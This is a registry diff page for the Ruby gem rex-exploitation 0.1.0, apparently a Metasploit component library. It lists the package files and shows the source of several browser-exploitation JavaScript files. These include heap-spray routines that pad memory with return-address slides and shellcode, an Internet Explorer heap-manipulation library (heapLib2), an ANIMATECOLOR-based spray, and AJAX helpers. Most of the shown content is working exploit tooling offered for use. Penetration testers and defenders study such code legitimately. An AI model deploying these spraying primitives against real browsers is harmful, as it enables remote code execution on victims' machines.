rex-exploitation 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +1 -0
- data/.gitignore +9 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/CODE_OF_CONDUCT.md +74 -0
- data/Gemfile +4 -0
- data/README.md +33 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/data/exploits/cmdstager/debug_asm +91 -0
- data/data/exploits/cmdstager/debug_write +819 -0
- data/data/exploits/cmdstager/vbs_b64 +40 -0
- data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
- data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
- data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
- data/data/js/detect/ie_addons.js +89 -0
- data/data/js/detect/misc_addons.js +157 -0
- data/data/js/detect/os.js +831 -0
- data/data/js/memory/explib2/lib/explib2.js +426 -0
- data/data/js/memory/explib2/payload/drop_exec.js +33 -0
- data/data/js/memory/explib2/payload/exec.js +10 -0
- data/data/js/memory/heap_spray.js +17 -0
- data/data/js/memory/heaplib2.js +192 -0
- data/data/js/memory/mstime_malloc.js +31 -0
- data/data/js/memory/property_spray.js +38 -0
- data/data/js/network/ajax_download.js +18 -0
- data/data/js/network/ajax_post.js +18 -0
- data/data/js/network/xhr_shim.js +15 -0
- data/data/js/utils/base64.js +126 -0
- data/data/ropdb/flash.xml +80 -0
- data/data/ropdb/hxds.xml +66 -0
- data/data/ropdb/java.xml +33 -0
- data/data/ropdb/msvcrt.xml +71 -0
- data/data/ropdb/reader.xml +132 -0
- data/data/ropdb/samba.xml +436 -0
- data/data/ropdb/stagefright.xml +225 -0
- data/lib/rex/exploitation.rb +7 -0
- data/lib/rex/exploitation/cmdstager.rb +11 -0
- data/lib/rex/exploitation/cmdstager/base.rb +189 -0
- data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
- data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
- data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
- data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
- data/lib/rex/exploitation/egghunter.rb +423 -0
- data/lib/rex/exploitation/encryptjs.rb +79 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +107 -0
- data/lib/rex/exploitation/js.rb +6 -0
- data/lib/rex/exploitation/js/detect.rb +70 -0
- data/lib/rex/exploitation/js/memory.rb +80 -0
- data/lib/rex/exploitation/js/network.rb +83 -0
- data/lib/rex/exploitation/js/utils.rb +32 -0
- data/lib/rex/exploitation/jsobfu.rb +17 -0
- data/lib/rex/exploitation/obfuscatejs.rb +336 -0
- data/lib/rex/exploitation/omelet.rb +321 -0
- data/lib/rex/exploitation/opcodedb.rb +819 -0
- data/lib/rex/exploitation/ropdb.rb +190 -0
- data/lib/rex/exploitation/seh.rb +93 -0
- data/lib/rex/exploitation/version.rb +5 -0
- data/rex-exploitation.gemspec +35 -0
- metadata +298 -0
- metadata.gz.sig +0 -0
@@ -0,0 +1,17 @@
|
|
1
|
+
var memory = new Array();
|
2
|
+
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
|
3
|
+
var index;
|
4
|
+
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
|
5
|
+
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
|
6
|
+
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
|
7
|
+
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
|
8
|
+
|
9
|
+
var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
|
10
|
+
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
|
11
|
+
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
|
12
|
+
|
13
|
+
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
|
14
|
+
for (index = 0; index < heapBlockCnt; index++) {
|
15
|
+
memory[index] = retSlide + shellcode;
|
16
|
+
}
|
17
|
+
}
|
@@ -0,0 +1,192 @@
|
|
1
|
+
//heapLib2 namespace
|
2
|
+
function heapLib2() { }
|
3
|
+
|
4
|
+
//These are attributes that will not actually create a bstr
|
5
|
+
//and directly use the back-end allocator, completely bypassing the cache
|
6
|
+
var global_attrs = ["title", "lang", "class"];
|
7
|
+
|
8
|
+
heapLib2.ie = function(element, maxAlloc)
|
9
|
+
{
|
10
|
+
//128mb
|
11
|
+
this.maxAlloc = 0x8000000;
|
12
|
+
|
13
|
+
//make sure that an HTML DOM element is passed
|
14
|
+
if(!element.nodeType || element.nodeType != 1)
|
15
|
+
throw "alloc.argument: element not valid";
|
16
|
+
|
17
|
+
this.element = element;
|
18
|
+
|
19
|
+
if(maxAlloc)
|
20
|
+
this.maxAlloc = maxAlloc;
|
21
|
+
|
22
|
+
//empty the cache
|
23
|
+
this.Oleaut32EmptyCache();
|
24
|
+
this.Oleaut32FillCache();
|
25
|
+
this.Oleaut32EmptyCache();
|
26
|
+
|
27
|
+
}
|
28
|
+
|
29
|
+
heapLib2.ie.prototype.newelement = function(element)
|
30
|
+
{
|
31
|
+
//make sure that an HTML DOM element is passed
|
32
|
+
if(!element.nodeType || element.nodeType != 1)
|
33
|
+
throw "alloc.argument: element not valid";
|
34
|
+
|
35
|
+
this.element = element;
|
36
|
+
}
|
37
|
+
|
38
|
+
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
|
39
|
+
{
|
40
|
+
if(typeof(cache_ok)==='undefined')
|
41
|
+
cache_ok = false;
|
42
|
+
else
|
43
|
+
cache_ok = true;
|
44
|
+
|
45
|
+
//make sure the attribute name is a string
|
46
|
+
if(typeof attr_name != "string")
|
47
|
+
throw "alloc.argument: attr_name is not a string";
|
48
|
+
|
49
|
+
//make sure that the attribute name is not already present in the html element
|
50
|
+
if(this.element.getAttribute(attr_name))
|
51
|
+
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
52
|
+
|
53
|
+
//ensure the size is a number
|
54
|
+
if(typeof size != "number")
|
55
|
+
throw "alloc.argument: size is not a number: " + size;
|
56
|
+
|
57
|
+
//make sure the size isn't one of the special values
|
58
|
+
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
|
59
|
+
throw "alloc.argument: size cannot be flushed from cache: " + size;
|
60
|
+
|
61
|
+
if(size > this.maxAlloc)
|
62
|
+
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
63
|
+
|
64
|
+
//the size must be at a 16-byte boundary this can be commented out but
|
65
|
+
//the allocations will be rounded to the nearest 16-byte boundary
|
66
|
+
if(size % 16 != 0)
|
67
|
+
throw "alloc.argument: size be a multiple of 16: " + size;
|
68
|
+
|
69
|
+
//20-bytes will be added to the size
|
70
|
+
//<4-byte size><data><2-byte null>
|
71
|
+
size = ((size / 2) - 6);
|
72
|
+
|
73
|
+
//May have to change this due to allocation side effects
|
74
|
+
var data = new Array(size).join(cache_ok ? "C" : "$");
|
75
|
+
|
76
|
+
var attr = document.createAttribute(attr_name);
|
77
|
+
this.element.setAttributeNode(attr);
|
78
|
+
this.element.setAttribute(attr_name, data);
|
79
|
+
|
80
|
+
}
|
81
|
+
|
82
|
+
//These items will allocate/free memory and should really
|
83
|
+
//only be used once per element. You can use a new element
|
84
|
+
//by calling the 'newelement' method above
|
85
|
+
heapLib2.ie.prototype.alloc_nobstr = function(val)
|
86
|
+
{
|
87
|
+
//make sure the aval is a string
|
88
|
+
if(typeof val != "string")
|
89
|
+
throw "alloc.argument: val is not a string";
|
90
|
+
|
91
|
+
var size = (val.length * 2) + 6;
|
92
|
+
|
93
|
+
if(size > this.maxAlloc)
|
94
|
+
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
95
|
+
|
96
|
+
var i = 0;
|
97
|
+
var set_gattr = 0;
|
98
|
+
for(i = 0; i < global_attrs.length; i++)
|
99
|
+
{
|
100
|
+
curr_gattr = global_attrs[i];
|
101
|
+
if(!this.element.getAttribute(curr_gattr))
|
102
|
+
{
|
103
|
+
this.element.setAttribute(curr_gattr, "");
|
104
|
+
this.element.setAttribute(curr_gattr, val);
|
105
|
+
set_gattr = 1;
|
106
|
+
break;
|
107
|
+
}
|
108
|
+
}
|
109
|
+
|
110
|
+
if(set_gattr == 0)
|
111
|
+
throw "alloc_nobstr: all global attributes are assigned, try a new element";
|
112
|
+
}
|
113
|
+
|
114
|
+
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
|
115
|
+
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
|
116
|
+
{
|
117
|
+
//make sure the attribute name is a string
|
118
|
+
if(typeof attr_name != "string")
|
119
|
+
throw "alloc.argument: attr_name is not a string";
|
120
|
+
|
121
|
+
//make sure that the attribute name is not already present in the html element
|
122
|
+
if(this.element.getAttribute(attr_name))
|
123
|
+
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
124
|
+
|
125
|
+
//ensure the size is a number
|
126
|
+
if(typeof str != "string")
|
127
|
+
throw "alloc.argument: str is not a string: " + typeof str;
|
128
|
+
|
129
|
+
var size = (str.length * 2) + 6;
|
130
|
+
|
131
|
+
//make sure the size isn't one of the special values
|
132
|
+
if(size <= 0x8000)
|
133
|
+
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
|
134
|
+
|
135
|
+
if(size > this.maxAlloc)
|
136
|
+
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
137
|
+
|
138
|
+
var attr = document.createAttribute(attr_name);
|
139
|
+
this.element.setAttributeNode(attr);
|
140
|
+
this.element.setAttribute(attr_name, str);
|
141
|
+
}
|
142
|
+
|
143
|
+
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
|
144
|
+
{
|
145
|
+
if(typeof(skip_flush)==='undefined')
|
146
|
+
skip_flush = false;
|
147
|
+
else
|
148
|
+
skip_flush = true;
|
149
|
+
|
150
|
+
//make sure that an HTML DOM element is passed
|
151
|
+
if(!this.element.nodeType || this.element.nodeType != 1)
|
152
|
+
throw "alloc.argument: element not valid";
|
153
|
+
|
154
|
+
//make sure the attribute name is a string
|
155
|
+
if(typeof attr_name != "string")
|
156
|
+
throw "alloc.argument: attr_name is not a string";
|
157
|
+
|
158
|
+
//make sure that the attribute name is not already present in the html element
|
159
|
+
if(!this.element.getAttribute(attr_name))
|
160
|
+
throw "alloc.argument: element does not contain attribute: " + attr_name;
|
161
|
+
|
162
|
+
//make sure the cache is full so the chunk returns the general purpose heap
|
163
|
+
if(!skip_flush)
|
164
|
+
this.Oleaut32FillCache();
|
165
|
+
|
166
|
+
this.element.setAttribute(attr_name, null);
|
167
|
+
|
168
|
+
if(!skip_flush)
|
169
|
+
this.Oleaut32EmptyCache()
|
170
|
+
}
|
171
|
+
|
172
|
+
heapLib2.ie.prototype.Oleaut32FillCache = function()
|
173
|
+
{
|
174
|
+
for(var i = 0; i < 6; i++)
|
175
|
+
{
|
176
|
+
this.free("cache0x20"+i, true);
|
177
|
+
this.free("cache0x40"+i, true);
|
178
|
+
this.free("cache0x100"+i, true);
|
179
|
+
this.free("cache0x8000"+i, true);
|
180
|
+
}
|
181
|
+
}
|
182
|
+
|
183
|
+
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
|
184
|
+
{
|
185
|
+
for(var i = 0; i < 6; i++)
|
186
|
+
{
|
187
|
+
this.alloc("cache0x20"+i, 0x20, true);
|
188
|
+
this.alloc("cache0x40"+i, 0x40, true);
|
189
|
+
this.alloc("cache0x100"+i, 0x100, true);
|
190
|
+
this.alloc("cache0x8000"+i, 0x8000, true);
|
191
|
+
}
|
192
|
+
}
|
@@ -0,0 +1,31 @@
|
|
1
|
+
function mstime_malloc(oArg) {
|
2
|
+
var shellcode = oArg.shellcode;
|
3
|
+
var offset = oArg.offset;
|
4
|
+
var heapBlockSize = oArg.heapBlockSize;
|
5
|
+
var objId = oArg.objId;
|
6
|
+
|
7
|
+
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
|
8
|
+
if (offset == undefined) { offset = 0; }
|
9
|
+
if (heapBlockSize == undefined) { throw "Size must be defined"; }
|
10
|
+
|
11
|
+
var buf = "";
|
12
|
+
for (var i=0; i < heapBlockSize/4; i++) {
|
13
|
+
if (i == offset) {
|
14
|
+
if (i == 0) { buf += shellcode; }
|
15
|
+
else { buf += ";" + shellcode; }
|
16
|
+
}
|
17
|
+
else {
|
18
|
+
buf += ";#W00TA";
|
19
|
+
}
|
20
|
+
}
|
21
|
+
|
22
|
+
var e = document.getElementById(objId);
|
23
|
+
if (e == null) {
|
24
|
+
var eleId = "W00TB"
|
25
|
+
var acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
|
26
|
+
document.body.innerHTML = document.body.innerHTML + acTag;
|
27
|
+
e = document.getElementById(eleId);
|
28
|
+
}
|
29
|
+
try { e.values = buf; }
|
30
|
+
catch (e) {}
|
31
|
+
}
|
@@ -0,0 +1,38 @@
|
|
1
|
+
var sym_div_container;
|
2
|
+
function sprayHeap( oArg ) {
|
3
|
+
var shellcode = oArg.shellcode;
|
4
|
+
var offset = oArg.offset;
|
5
|
+
var heapBlockSize = oArg.heapBlockSize;
|
6
|
+
var maxAllocs = oArg.maxAllocs;
|
7
|
+
var objId = oArg.objId;
|
8
|
+
|
9
|
+
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
|
10
|
+
if (offset == undefined) { offset = 0x00; }
|
11
|
+
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
|
12
|
+
if (maxAllocs == undefined) { maxAllocs = 0x350; }
|
13
|
+
|
14
|
+
if (offset > 0x800) { throw "Bad alignment"; }
|
15
|
+
|
16
|
+
sym_div_container = document.getElementById(objId);
|
17
|
+
|
18
|
+
if (sym_div_container == null) {
|
19
|
+
sym_div_container = document.createElement("div");
|
20
|
+
}
|
21
|
+
|
22
|
+
sym_div_container.style.cssText = "display:none";
|
23
|
+
var data;
|
24
|
+
junk = unescape("%u2020%u2020");
|
25
|
+
while (junk.length < offset+0x1000) junk += junk;
|
26
|
+
|
27
|
+
data = junk.substring(0,offset) + shellcode;
|
28
|
+
data += junk.substring(0,0x800-offset-shellcode.length);
|
29
|
+
|
30
|
+
while (data.length < heapBlockSize) data += data;
|
31
|
+
|
32
|
+
for (var i = 0; i < maxAllocs; i++)
|
33
|
+
{
|
34
|
+
var obj = document.createElement("button");
|
35
|
+
obj.title = data.substring(0, (heapBlockSize-2)/2);
|
36
|
+
sym_div_container.appendChild(obj);
|
37
|
+
}
|
38
|
+
}
|
@@ -0,0 +1,18 @@
|
|
1
|
+
function ajax_download(oArg) {
|
2
|
+
if (!oArg.method) { oArg.method = "GET"; }
|
3
|
+
if (!oArg.path) { throw "Missing parameter 'path'"; }
|
4
|
+
if (!oArg.data) { oArg.data = null; }
|
5
|
+
|
6
|
+
var xmlHttp = new XMLHttpRequest();
|
7
|
+
|
8
|
+
if (xmlHttp.overrideMimeType) {
|
9
|
+
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
10
|
+
}
|
11
|
+
|
12
|
+
xmlHttp.open(oArg.method, oArg.path, false);
|
13
|
+
xmlHttp.send(oArg.data);
|
14
|
+
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
15
|
+
return xmlHttp.responseText;
|
16
|
+
}
|
17
|
+
return null;
|
18
|
+
}
|
@@ -0,0 +1,18 @@
|
|
1
|
+
function postInfo(path, data, cb) {
|
2
|
+
var xmlHttp = new XMLHttpRequest();
|
3
|
+
|
4
|
+
if (xmlHttp.overrideMimeType) {
|
5
|
+
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
6
|
+
}
|
7
|
+
|
8
|
+
xmlHttp.open('POST', path, !!cb);
|
9
|
+
|
10
|
+
if (cb) {
|
11
|
+
xmlHttp.onreadystatechange = function() {
|
12
|
+
if (xmlHttp.readyState == 4) { cb.apply(this, arguments); }
|
13
|
+
};
|
14
|
+
}
|
15
|
+
|
16
|
+
xmlHttp.send(data);
|
17
|
+
return xmlHttp;
|
18
|
+
}
|
@@ -0,0 +1,15 @@
|
|
1
|
+
if (!window.XMLHTTPRequest) {
|
2
|
+
(function() {
|
3
|
+
var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
|
4
|
+
for (idx = 0; idx < activeObjs.length; idx++) {
|
5
|
+
try {
|
6
|
+
new ActiveXObject(activeObjs[idx]);
|
7
|
+
window.XMLHttpRequest = function() {
|
8
|
+
return new ActiveXObject(activeObjs[idx]);
|
9
|
+
};
|
10
|
+
break;
|
11
|
+
}
|
12
|
+
catch (e) {}
|
13
|
+
}
|
14
|
+
})();
|
15
|
+
}
|
@@ -0,0 +1,126 @@
|
|
1
|
+
// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
|
2
|
+
// variable names changed to make obfuscation easier
|
3
|
+
var Base64 = {
|
4
|
+
// private property
|
5
|
+
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
6
|
+
|
7
|
+
// private method
|
8
|
+
_utf8_encode : function ( input ){
|
9
|
+
input = input.replace(/\r\n/g,"\\n");
|
10
|
+
var utftext = "";
|
11
|
+
var input_idx;
|
12
|
+
|
13
|
+
for (input_idx = 0; input_idx < input.length; input_idx++) {
|
14
|
+
var chr = input.charCodeAt(input_idx);
|
15
|
+
if (chr < 128) {
|
16
|
+
utftext += String.fromCharCode(chr);
|
17
|
+
}
|
18
|
+
else if((chr > 127) && (chr < 2048)) {
|
19
|
+
utftext += String.fromCharCode((chr >> 6) | 192);
|
20
|
+
utftext += String.fromCharCode((chr & 63) | 128);
|
21
|
+
} else {
|
22
|
+
utftext += String.fromCharCode((chr >> 12) | 224);
|
23
|
+
utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
|
24
|
+
utftext += String.fromCharCode((chr & 63) | 128);
|
25
|
+
}
|
26
|
+
}
|
27
|
+
|
28
|
+
return utftext;
|
29
|
+
},
|
30
|
+
|
31
|
+
// public method for encoding
|
32
|
+
encode : function( input ) {
|
33
|
+
var output = "";
|
34
|
+
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
|
35
|
+
var input_idx = 0;
|
36
|
+
|
37
|
+
input = Base64._utf8_encode(input);
|
38
|
+
|
39
|
+
while (input_idx < input.length) {
|
40
|
+
chr1 = input.charCodeAt( input_idx++ );
|
41
|
+
chr2 = input.charCodeAt( input_idx++ );
|
42
|
+
chr3 = input.charCodeAt( input_idx++ );
|
43
|
+
|
44
|
+
enc1 = chr1 >> 2;
|
45
|
+
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
46
|
+
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
47
|
+
enc4 = chr3 & 63;
|
48
|
+
|
49
|
+
if (isNaN(chr2)) {
|
50
|
+
enc3 = enc4 = 64;
|
51
|
+
} else if (isNaN(chr3)) {
|
52
|
+
enc4 = 64;
|
53
|
+
}
|
54
|
+
output = output +
|
55
|
+
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
|
56
|
+
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
|
57
|
+
}
|
58
|
+
return output;
|
59
|
+
},
|
60
|
+
// public method for decoding
|
61
|
+
decode : function (input) {
|
62
|
+
var output = "";
|
63
|
+
var chr1, chr2, chr3;
|
64
|
+
var enc1, enc2, enc3, enc4;
|
65
|
+
var i = 0;
|
66
|
+
|
67
|
+
input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
|
68
|
+
|
69
|
+
while (i < input.length) {
|
70
|
+
|
71
|
+
enc1 = this._keyStr.indexOf(input.charAt(i++));
|
72
|
+
enc2 = this._keyStr.indexOf(input.charAt(i++));
|
73
|
+
enc3 = this._keyStr.indexOf(input.charAt(i++));
|
74
|
+
enc4 = this._keyStr.indexOf(input.charAt(i++));
|
75
|
+
|
76
|
+
chr1 = (enc1 << 2) | (enc2 >> 4);
|
77
|
+
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
78
|
+
chr3 = ((enc3 & 3) << 6) | enc4;
|
79
|
+
|
80
|
+
output = output + String.fromCharCode(chr1);
|
81
|
+
|
82
|
+
if (enc3 != 64) {
|
83
|
+
output = output + String.fromCharCode(chr2);
|
84
|
+
}
|
85
|
+
if (enc4 != 64) {
|
86
|
+
output = output + String.fromCharCode(chr3);
|
87
|
+
}
|
88
|
+
|
89
|
+
}
|
90
|
+
|
91
|
+
output = Base64._utf8_decode(output);
|
92
|
+
|
93
|
+
return output;
|
94
|
+
|
95
|
+
},
|
96
|
+
_utf8_decode : function (utftext) {
|
97
|
+
var string = "";
|
98
|
+
var input_idx = 0;
|
99
|
+
var chr1 = 0;
|
100
|
+
var chr2 = 0;
|
101
|
+
var chr3 = 0;
|
102
|
+
|
103
|
+
while ( input_idx < utftext.length ) {
|
104
|
+
|
105
|
+
chr1 = utftext.charCodeAt(input_idx);
|
106
|
+
|
107
|
+
if (chr1 < 128) {
|
108
|
+
string += String.fromCharCode(chr1);
|
109
|
+
input_idx++;
|
110
|
+
}
|
111
|
+
else if((chr1 > 191) && (chr1 < 224)) {
|
112
|
+
chr2 = utftext.charCodeAt(input_idx+1);
|
113
|
+
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
|
114
|
+
input_idx += 2;
|
115
|
+
} else {
|
116
|
+
chr2 = utftext.charCodeAt(input_idx+1);
|
117
|
+
chr3 = utftext.charCodeAt(input_idx+2);
|
118
|
+
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
|
119
|
+
input_idx += 3;
|
120
|
+
}
|
121
|
+
}
|
122
|
+
|
123
|
+
return string;
|
124
|
+
}
|
125
|
+
|
126
|
+
};
|